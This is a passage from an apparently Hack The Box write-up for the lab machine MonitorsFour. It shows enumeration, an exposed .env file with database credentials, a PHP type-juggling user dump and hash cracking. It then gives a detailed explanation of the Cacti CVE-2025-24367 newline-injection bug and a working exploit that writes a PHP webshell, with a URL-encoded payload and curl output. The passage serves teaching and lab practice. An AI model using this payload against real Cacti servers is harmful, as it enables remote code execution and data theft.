[</span><span class="feroxbuster-cyan">##</span><span class="go">&gt;-----------------] - 5m      3630/30000   12/s    http://monitorsfour.htb/static/css/
[</span><span class="feroxbuster-cyan">##</span><span class="go">&gt;-----------------] - 5m      3621/30000   12/s    http://monitorsfour.htb/static/images/
[</span><span class="feroxbuster-cyan">##</span><span class="go">&gt;-----------------] - 5m      3552/30000   12/s    http://monitorsfour.htb/static/images/blog/
[</span><span class="feroxbuster-cyan">##</span><span class="go">&gt;-----------------] - 5m      3540/30000   12/s    http://monitorsfour.htb/static/admin/assets/
[</span><span class="feroxbuster-cyan">##</span><span class="go">&gt;-----------------] - 5m      3368/30000   11/s    http://monitorsfour.htb/views/
[</span><span class="feroxbuster-cyan">##</span><span class="go">&gt;-----------------] - 5m      3418/30000   11/s    http://monitorsfour.htb/static/fonts/
[</span><span class="feroxbuster-cyan">##</span><span class="go">&gt;-----------------] - 5m      3390/30000   11/s    http://monitorsfour.htb/static/images/services/
[</span><span class="feroxbuster-cyan">##</span><span class="go">&gt;-----------------] - 5m      3324/30000   11/s    http://monitorsfour.htb/views/admin/
[</span><span class="feroxbuster-cyan">##</span><span class="go">&gt;-----------------] - 5m      3124/30000   11/s    http://monitorsfour.htb/controllers/ 
</span></code></pre></div></div>

<p>It started off going, but quickly ground to a halt and started getting errors, so I’ll kill it.</p>

<p><code class="language-plaintext highlighter-rouge">/contact</code> is interesting. It doesn’t look like it’s intended to be there, as it returns a crash:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260515164553951.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260515164553951.png" alt="image-20260515164553951" class="include_image " />
</picture>

<p>That’s helpful for orienting where the web files directory is on the host.</p>

<p><code class="language-plaintext highlighter-rouge">/user</code> returns an error as well:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260515171223849.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260515171223849.png" alt="image-20260515171223849" class="include_image " />
</picture>

<p>Adding a <code class="language-plaintext highlighter-rouge">token</code> parameter returns JSON</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260515171244976.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260515171244976.png" alt="image-20260515171244976" class="include_image " />
</picture>

<p>I don’t have a valid token at this point, so I’ll come back later.</p>

<p>Some other wordlists would also find <code class="language-plaintext highlighter-rouge">.env</code> exposed (or given that it’s PHP I could reasonably just know to check this):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl http://monitorsfour.htb/.env
<span class="go">DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f37p2j8f4t0r
</span></code></pre></div></div>

<p>That’s DB creds. They don’t work to log into the site, or over WinRM:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec winrm 10.129.67.15 <span class="nt">-u</span> monitorsdbuser <span class="nt">-p</span> <span class="s1">'f37p2j8f4t0r'</span>
<span class="netexec-protocol">WINRM </span><span class="go">      10.129.67.15    5985   MONITORSFOUR     </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 11 / Server 2025 Build 26100 (name:MONITORSFOUR) (domain:MonitorsFour) 
</span><span class="netexec-protocol">WINRM </span><span class="go">      10.129.67.15    5985   MONITORSFOUR     </span><span class="netexec-logfail">[-]</span><span class="go"> MonitorsFour\monitorsdbuser:f37p2j8f4t0r
</span></code></pre></div></div>

<h3 id="cactimonitorsfourhtb---tcp-80">cacti.monitorsfour.htb - TCP 80</h3>

<h4 id="site-1">Site</h4>

<p>This site is an instance of Cacti:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260515164958834.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260515164958834.png" alt="image-20260515164958834" class="include_image " />
</picture>

<p>This is not surprising having already played <a href="/2021/10/09/htb-monitors.html#cacti">HTB Monitors</a>, <a href="/2023/09/02/htb-monitorstwo.html#website---tcp-80">HTB MonitorsTwo</a>, and <a href="/2025/01/18/htb-monitorsthree.html#cactimonitorsthreehtb">HTB MonitorsThree</a>.</p>

<h4 id="user-validation">User Validation</h4>

<p>I can validate usernames on the POST request for login. I’ll send it to Burp Repeater, and submit a login request. It will return 200 either way with the page and an “Access Denied! Login Failed.” message.</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260522143212716.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260522143212716.png" alt="image-20260522143212716" class="include_image " />
</picture>

<p>With a user that doesn’t exist (like 0xdf0xdf in the image above), the response time (bottom right corner) is between 75-110 milliseconds.</p>

<p>However, when I switch the username to admin, the response time goes up!</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260522143358428.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260522143358428.png" alt="image-20260522143358428" class="include_image " />
</picture>

<p>The range here is around 250-310 milliseconds. That’s because when the name doesn’t exist, it’s just a single DB call (something like <code class="language-plaintext highlighter-rouge">select * from users where username = &lt;input&gt;</code>), and when no rows come back, it returns. On the other hand, if the name does exist, the row comes back, and now it has to hash the password to compare to the DB. If it’s using a good hashing algorithm that’s robust against brute force attacks, it will take a noticeable fraction of a second.</p>

<p>In theory I can try fuzzing with <code class="language-plaintext highlighter-rouge">ffuf</code>, something like <code class="language-plaintext highlighter-rouge">-ft '&lt;200</code>, and a list of usernames, but the webserver is underpowered and sending lots of requests slows them all down, which breaks the filter.</p>

<h4 id="tech-stack-1">Tech Stack</h4>

<p>The page footer shows it’s running version 1.2.28. The HTTP response headers show it’s also PHP, setting a <code class="language-plaintext highlighter-rouge">Cacti</code> cookie:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">nginx</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Fri, 15 May 2026 20:49:29 GMT</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/html; charset=UTF-8</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">X-Powered-By</span><span class="p">:</span> <span class="s">PHP/8.3.27</span>
<span class="na">Last-Modified</span><span class="p">:</span> <span class="s">Fri, 15 May 2026 20:49:28 GMT</span>
<span class="na">X-Frame-Options</span><span class="p">:</span> <span class="s">SAMEORIGIN</span>
<span class="na">Content-Security-Policy</span><span class="p">:</span> <span class="s">default-src *; img-src 'self'  data: blob:; style-src 'self' 'unsafe-inline' ; script-src 'self'  'unsafe-inline' ; frame-ancestors 'self'; worker-src 'self' ;</span>
<span class="na">P3P</span><span class="p">:</span> <span class="s">CP="CAO PSA OUR"</span>
<span class="na">Set-Cookie</span><span class="p">:</span> <span class="s">Cacti=1adbe24204ac8d89208e1da6fce9d8fa; path=/cacti/; HttpOnly; SameSite=Strict</span>
<span class="na">Expires</span><span class="p">:</span> <span class="s">Thu, 19 Nov 1981 08:52:00 GMT</span>
<span class="na">Cache-Control</span><span class="p">:</span> <span class="s">no-store, no-cache, must-revalidate</span>
<span class="na">Pragma</span><span class="p">:</span> <span class="s">no-cache</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">14320</span>
</code></pre></div></div>

<p>I’ll skip the directory brute force given it’s known open-source software.</p>

<h2 id="shell-as-www-data-in-container">Shell as www-data in Container</h2>

<h3 id="authenticated-cacti-access">Authenticated Cacti Access</h3>

<h4 id="users-dump">Users Dump</h4>

<p>I’m not able to find any unauthenticated vulnerabilities in this version of Cacti, so I’ll return to the <code class="language-plaintext highlighter-rouge">/user</code> endpoint. To check for injections or crashes or anything weird, I’ll fuzz with <code class="language-plaintext highlighter-rouge">ffuf</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ffuf <span class="nt">-u</span> http://monitorsfour.htb/user?token<span class="o">=</span>FUZZ <span class="nt">-w</span> /opt/SecLists/Fuzzing/alphanum-case-extra.txt <span class="nt">-ac</span>
<span class="go">
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://monitorsfour.htb/user?token=FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Fuzzing/alphanum-case-extra.txt
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

0                       [Status: 200, Size: 1113, Words: 10, Lines: 1, Duration: 156ms]
:: Progress: [95/95] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
</span></code></pre></div></div>

<p>I am using the <code class="language-plaintext highlighter-rouge">alphanum-case-extra.txt</code> wordlist just to look for bad characters. Surprisingly, it’s “0” that causes different output! It actually dumps the users on the site:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl http://monitorsfour.htb/user?token<span class="o">=</span>0 <span class="nt">-s</span> | jq <span class="nb">.</span>
<span class="go">[
  {
    "id": 2,
    "username": "admin",
    "email": "admin@monitorsfour.htb",
    "password": "56b32eb43e6f15395f6c46c1c9e1cd36",
    "role": "super user",
    "token": "8024b78f83f102da4f",
    "name": "Marcus Higgins",
    "position": "System Administrator",
    "dob": "1978-04-26",
    "start_date": "2021-01-12",
    "salary": "320800.00"
  },
  {
    "id": 5,
    "username": "mwatson",
    "email": "mwatson@monitorsfour.htb",
    "password": "69196959c16b26ef00b77d82cf6eb169",
    "role": "user",
    "token": "0e543210987654321",
    "name": "Michael Watson",
    "position": "Website Administrator",
    "dob": "1985-02-15",
    "start_date": "2021-05-11",
    "salary": "75000.00"
  },
  {
    "id": 6,
    "username": "janderson",
    "email": "janderson@monitorsfour.htb",
    "password": "2a22dcf99190c322d974c8df5ba3256b",
    "role": "user",
    "token": "0e999999999999999",
    "name": "Jennifer Anderson",
    "position": "Network Engineer",
    "dob": "1990-07-16",
    "start_date": "2021-06-20",
    "salary": "68000.00"
  },
  {
    "id": 7,
    "username": "dthompson",
    "email": "dthompson@monitorsfour.htb",
    "password": "8d4a7e7fd08555133e056d9aacb1e519",
    "role": "user",
    "token": "0e111111111111111",
    "name": "David Thompson",
    "position": "Database Manager",
    "dob": "1982-11-23",
    "start_date": "2022-09-15",
    "salary": "83000.00"
  }
]
</span></code></pre></div></div>

<p>This is almost certainly a PHP type juggling issue. In PHP, <code class="language-plaintext highlighter-rouge">==</code> means same value, and <code class="language-plaintext highlighter-rouge">===</code> means same value and same type. <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Type%20Juggling/README.md">PayloadsAllTheThings</a> has a nice chart of weird booleans that come up when a developer mistakenly uses <code class="language-plaintext highlighter-rouge">==</code>:</p>

<p><a href="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/table_representing_behavior_of_PHP_with_loose_type_comparisons.png"><img src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/table_representing_behavior_of_PHP_with_loose_type_comparisons.png" alt="LooseTypeComparison" /><em>Click for full size image</em></a></p>

<p>If I look at the dumped <code class="language-plaintext highlighter-rouge">token</code> values, the last three all match the form “0e…” in which case 0 would match it. I’ll review the code and show why this works in <a href="#php-type-juggling">Beyond Root</a>.</p>

<h4 id="crack-password">Crack Password</h4>

<p>The values in the password field look like MD5 hashes (32 hex characters), so if they are meant to be cracked, they’ll crack instantly in <a href="https://crackstation.net/">CrackStation</a>:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260515174639735.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260515174639735.png" alt="image-20260515174639735" class="include_image " />
</picture>

<p><code class="language-plaintext highlighter-rouge">admin@monitorsfour.htb</code> has the password “wonderful1”.</p>

<h4 id="authenticated-site-access">Authenticated Site Access</h4>

<p>The password doesn’t work to log into Cacti, but it does work on the main site:</p>

<div style="position: relative; min-height: 500px;">
    <picture>
        <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260515214342305.webp" />
        <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260515214342305.png" alt="image-20260515214342305" style="max-height: 500px; object-fit: cover; object-position: top; width: -webkit-fill-available; mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px)); -webkit-mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px));" class="include_image " />
    </picture>
    <a href="javascript:void(0)" onclick="click_expand_image(event)" style="position: absolute; bottom: 35px; right: 15px;" title="Click to expand for full content"><img src="/icons/expand.png" alt="expand" class="expand-contract" /></a>
</div>

<p>There are a few tidbits of information in the site. For example, they are using Docker Desktop 4.44.2:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260515215007047.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260515215007047.png" alt="image-20260515215007047" class="include_image " />
</picture>

<p>The dumped user data shows that the admin’s name is Marcus Higgins, and the same password with the username marcus works to log into Cacti:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260515215136337.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260515215136337.png" alt="image-20260515215136337" class="include_image " />
</picture>

<h3 id="rce">RCE</h3>

<h4 id="triaging-vulnerabilities">Triaging Vulnerabilities</h4>

<p>Searching for “cacti 1.2.28 vulnerabilities” leads to the CVEdetails <a href="https://www.cvedetails.com/version/1907377/Cacti-Cacti-1.2.28.html">page</a>:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260516211738361.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260516211738361.png" alt="image-20260516211738361" class="include_image " />
</picture>

<p>Going into the one vulnerability in the “Code Execution” category, the CVE is <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-24367">CVE-2025-24367</a>, which NIST describes as:</p>

<blockquote>
  <p>Cacti is an open source performance and fault management framework. An authenticated Cacti user can abuse graph creation and graph template functionality to create arbitrary PHP scripts in the web root of the application, leading to remote code execution on the server. This vulnerability is fixed in 1.2.29.</p>
</blockquote>

<p>This sounds like something I can exploit.</p>

<h4 id="cve-2025-24367-background">CVE-2025-24367 Background</h4>

<p>There’s also <a href="https://github.com/Cacti/cacti/security/advisories/GHSA-fxrq-fr7h-9rqq">this advisory</a> which walked through the vulnerability in more detail.</p>

<p>The bug lives in <code class="language-plaintext highlighter-rouge">cacti_escapeshellarg()</code> in <code class="language-plaintext highlighter-rouge">lib/functions.php</code>. Cacti rolls its <a href="https://github.com/Cacti/cacti/blob/f9a7cd3d76d0a5d09cff753f9c4bb5fd26c2104c/lib/functions.php#L4558-L4594">own version</a> of PHP’s <code class="language-plaintext highlighter-rouge">escapeshellarg()</code> so the same code can produce quoting that works on both Linux and Windows:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">function</span> <span class="n">cacti_escapeshellarg</span><span class="p">(</span><span class="nv">$string</span><span class="p">,</span> <span class="nv">$quote</span> <span class="o">=</span> <span class="kc">true</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">global</span> <span class="nv">$config</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="nv">$string</span> <span class="o">==</span> <span class="s1">''</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="nv">$string</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="cm">/* we must use an apostrophe to escape community names under Unix in case the user uses
    characters that the shell might interpret. the ucd-snmp binaries on Windows flip out when
    you do this, but are perfectly happy with a quotation mark. */</span>
    <span class="k">if</span> <span class="p">(</span><span class="nv">$config</span><span class="p">[</span><span class="s1">'cacti_server_os'</span><span class="p">]</span> <span class="o">==</span> <span class="s1">'unix'</span><span class="p">)</span> <span class="p">{</span>
        <span class="nv">$string</span> <span class="o">=</span> <span class="nb">escapeshellarg</span><span class="p">(</span><span class="nv">$string</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="nv">$quote</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">return</span> <span class="nv">$string</span><span class="p">;</span>
        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
            <span class="c1"># remove first and last char</span>
            <span class="k">return</span> <span class="nb">substr</span><span class="p">(</span><span class="nv">$string</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="p">(</span><span class="nb">strlen</span><span class="p">(</span><span class="nv">$string</span><span class="p">)</span><span class="o">-</span><span class="mi">2</span><span class="p">));</span>
        <span class="p">}</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="cm">/* escapeshellarg takes care of different quotation for both linux and windows,
         * but unfortunately, it blanks out percent signs
         * we want to keep them, e.g. for GPRINT format strings
         * so we need to create our own escapeshellarg
         * on windows, command injection requires to close any open quotation first
         * so we have to escape any quotation here */</span>
        <span class="k">if</span> <span class="p">(</span><span class="nb">substr_count</span><span class="p">(</span><span class="nv">$string</span><span class="p">,</span> <span class="no">CACTI_ESCAPE_CHARACTER</span><span class="p">))</span> <span class="p">{</span>
            <span class="nv">$string</span> <span class="o">=</span> <span class="nb">str_replace</span><span class="p">(</span><span class="no">CACTI_ESCAPE_CHARACTER</span><span class="p">,</span> <span class="s2">"</span><span class="se">\\</span><span class="s2">"</span> <span class="mf">.</span> <span class="no">CACTI_ESCAPE_CHARACTER</span><span class="p">,</span> <span class="nv">$string</span><span class="p">);</span>
        <span class="p">}</span>

        <span class="cm">/* ... before we add our own quotation */</span>
        <span class="k">if</span> <span class="p">(</span><span class="nv">$quote</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">return</span> <span class="no">CACTI_ESCAPE_CHARACTER</span> <span class="mf">.</span> <span class="nv">$string</span> <span class="mf">.</span> <span class="no">CACTI_ESCAPE_CHARACTER</span><span class="p">;</span>
        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
            <span class="k">return</span> <span class="nv">$string</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The Unix branch defers to PHP’s native <code class="language-plaintext highlighter-rouge">escapeshellarg</code>. The Windows branch (the one that matters here, since MonitorsFour is a Windows host) hand-rolls the quoting, wrapping the value in <code class="language-plaintext highlighter-rouge">CACTI_ESCAPE_CHARACTER</code> (a <code class="language-plaintext highlighter-rouge">"</code> on Windows) and escape any embedded <code class="language-plaintext highlighter-rouge">"</code> so the attacker can’t close the quote and tack on extra arguments. What it never does is strip or escape a newline.</p>

<p>The downstream consumer of that escaped string is <code class="language-plaintext highlighter-rouge">rrdtool</code>, which Cacti uses to render graphs. It’s <code class="language-plaintext highlighter-rouge">rrd_function_process_graph_options()</code> in <code class="language-plaintext highlighter-rouge">lib/rrd.php</code> that builds the <code class="language-plaintext highlighter-rouge">rrdtool graph</code> command from the fields on a graph or graph template (<code class="language-plaintext highlighter-rouge">--title</code>, <code class="language-plaintext highlighter-rouge">--vertical-label</code>, <code class="language-plaintext highlighter-rouge">--right-axis-label</code>, and so on). The values for those switches come straight from the database row for the graph, which an authenticated user with template-edit rights controls. The <a href="https://github.com/Cacti/cacti/blob/release/1.2.28/lib/rrd.php#L1236-L1240">relevant case</a> in the giant <code class="language-plaintext highlighter-rouge">switch</code> is <code class="language-plaintext highlighter-rouge">right_axis_label</code>:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">case</span> <span class="s1">'right_axis_label'</span><span class="o">:</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="k">empty</span><span class="p">(</span><span class="nv">$value</span><span class="p">))</span> <span class="p">{</span>
        <span class="nv">$graph_opts</span> <span class="mf">.</span><span class="o">=</span> <span class="s1">'--right-axis-label '</span> <span class="mf">.</span> <span class="nf">cacti_escapeshellarg</span><span class="p">(</span><span class="nv">$value</span><span class="p">)</span> <span class="mf">.</span> <span class="no">RRD_NL</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">break</span><span class="p">;</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">RRD_NL</code> is defined at the top of the file as <code class="language-plaintext highlighter-rouge">" \\\n"</code> (a space, a backslash, and a newline, i.e. the shell line-continuation sequence). Cacti builds the whole <code class="language-plaintext highlighter-rouge">rrdtool</code> invocation as one logical command spread across many physical lines:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rrdtool graph filename.png <span class="se">\</span>
<span class="nt">--right-axis-label</span> <span class="s1">'whatever the user typed'</span> <span class="se">\</span>
<span class="nt">--vertical-label</span> <span class="s1">'something else'</span> <span class="se">\</span>
...
</code></pre></div></div>

<p>If a <code class="language-plaintext highlighter-rouge">\n</code> slips into the value, it terminates the line before the trailing <code class="language-plaintext highlighter-rouge">\</code>, the line continuation breaks, and the text after the newline is no longer an argument to <code class="language-plaintext highlighter-rouge">--right-axis-label</code>. It becomes the next line of the command stream, which <code class="language-plaintext highlighter-rouge">rrdtool</code> reads as a fresh subcommand. That’s the whole primitive.</p>

<p>The last piece is turning “inject rrdtool commands” into “write a PHP file.” <code class="language-plaintext highlighter-rouge">rrdtool</code> has a <code class="language-plaintext highlighter-rouge">graph</code> subcommand that normally renders a PNG, but with <code class="language-plaintext highlighter-rouge">-a CSV</code> it writes a CSV file instead, and the output path is the first positional argument. The CSV contents include the label text of each <code class="language-plaintext highlighter-rouge">LINE</code>/<code class="language-plaintext highlighter-rouge">AREA</code> element verbatim. So the chain is:</p>

<ol>
  <li>Use a newline to break out of the legitimate <code class="language-plaintext highlighter-rouge">--right-axis-label</code> argument.</li>
  <li>Issue a <code class="language-plaintext highlighter-rouge">create</code> to make a throwaway RRD database to graph from.</li>
  <li>Issue a <code class="language-plaintext highlighter-rouge">graph shell.php -a CSV ... LINE1:out:&lt;?=...?&gt;</code> so <code class="language-plaintext highlighter-rouge">rrdtool</code> writes a file named <code class="language-plaintext highlighter-rouge">shell.php</code> whose contents include attacker-controlled PHP.</li>
</ol>

<p>The resulting <code class="language-plaintext highlighter-rouge">.php</code> file lands in <code class="language-plaintext highlighter-rouge">rrdtool</code>’s working directory, which in the Cacti install is somewhere PHP will execute it. Browsing to that file gives RCE as the web user.</p>

<p>The <a href="https://github.com/Cacti/cacti/commit/c7e4ee798d263a3209ae6e7ba182c7b65284d8f0#diff-64fc045898c96c86bd7e2ffbb496f91238a16e813a5af12395c3afe24878079f">fix in 1.2.29</a> is a single <code class="language-plaintext highlighter-rouge">str_replace</code> at the top of <code class="language-plaintext highlighter-rouge">cacti_escapeshellarg()</code> that strips <code class="language-plaintext highlighter-rouge">\n</code> and <code class="language-plaintext highlighter-rouge">\r</code> from the argument before either platform branch runs, killing the newline-injection primitive at the chokepoint rather than at every caller.</p>

<h4 id="manual-exploit">Manual Exploit</h4>

<p>To exploit this, I’ll click on the “Graphs” tab in the top menu, and find four existing graphs:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260516214406893.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260516214406893.png" alt="image-20260516214406893" class="include_image " />
</picture>

<p>One of the buttons is to “Edit Graph Template”:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260516215308227.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260516215308227.png" alt="image-20260516215308227" class="include_image " />
</picture>

<p>I’ll click on that and scroll down to find “Right Axis Label”, which I’ll set to a marker I know:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260516215422003.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260516215422003.png" alt="image-20260516215422003" class="include_image " />
</picture>

<p>I’ll submit this, then find the request in Burp, and send it to Repeater. There I’ll scroll down to find my marker:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260516215604634.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260516215604634.png" alt="image-20260516215604634" class="include_image " />
</picture>

<p>I’m aiming to set that to three lines:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0xdf
create poc.rrd <span class="nt">--step</span> 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200
graph shell.php <span class="nt">-s</span> now <span class="nt">-a</span> CSV DEF:out<span class="o">=</span>poc.rrd:temp:AVERAGE LINE1:out:&lt;?<span class="o">=</span>system<span class="o">(</span>array_values<span class="o">(</span><span class="nv">$_REQUEST</span><span class="o">)[</span>0]<span class="o">)</span><span class="p">;</span>?&gt;
</code></pre></div></div>

<p>That would make that call look like:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rrdtool graph filename.png <span class="se">\</span>
<span class="nt">--right-axis-label</span> 0xdf
create poc.rrd <span class="nt">--step</span> 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200
graph shell.php <span class="nt">-s</span> now <span class="nt">-a</span> CSV DEF:out<span class="o">=</span>poc.rrd:temp:AVERAGE LINE1:out:&lt;?<span class="o">=</span>system<span class="o">(</span>array_values<span class="o">(</span><span class="nv">$_REQUEST</span><span class="o">)[</span>0]<span class="o">)</span><span class="p">;</span>?&gt;
<span class="se">\</span>
<span class="nt">--vertical-label</span> <span class="s1">'something else'</span> <span class="se">\</span>
...
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">create</code> and <code class="language-plaintext highlighter-rouge">graph</code> commands are new commands, not part of the <code class="language-plaintext highlighter-rouge">rrdtool</code> call.</p>

<p>Passing in quotes (single or double) breaks things because of the escaping, so I’m using <code class="language-plaintext highlighter-rouge">array_values</code> to get the first arg from <code class="language-plaintext highlighter-rouge">$_REQUEST</code>.</p>

<p>That will URL encode to:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0xdf%0acreate+poc.rrd+--step+300+DS%3atemp%3aGAUGE%3a600%3a-273%3a5000+RRA%3aAVERAGE%3a0.5%3a1%3a1200%0agraph+shell.php+-s+now+-a+CSV+DEF%3aout%3dpoc.rrd%3atemp%3aAVERAGE+LINE1%3aout%3a&lt;%3f%3dsystem(array_values($_REQUEST)[0])%3b%3f&gt;%0a
</code></pre></div></div>

<p>It is important to have the trailing newline (<code class="language-plaintext highlighter-rouge">%0a</code>). This goes back into Repeater:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260517073927687.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260517073927687.png" alt="image-20260517073927687" class="include_image " />
</picture>

<p>If I’m using ctrl-u to URL-encode in Burp, Burp doesn’t encode newlines, so I’ll have to replace those with <code class="language-plaintext highlighter-rouge">%0a</code> myself. I’ll send this, and it returns 302 Found redirecting to <code class="language-plaintext highlighter-rouge">graph_templates.php</code>.</p>

<p>Now I’ll load the graphs page by clicking the “Preview” button at the top right of the “Graphs” tab:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260517074040448.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260517074040448.png" alt="image-20260517074040448" class="include_image " />
</picture>

<p>I can reach the webshell at <code class="language-plaintext highlighter-rouge">http://cacti.monitorsfour.htb/cacti/shell.php?c=id</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl http://cacti.monitorsfour.htb/cacti/shell.php?c<span class="o">=</span><span class="nb">id</span>
<span class="go">"time","uid=33(www-data) gid=33(www-data) groups=33(www-data)
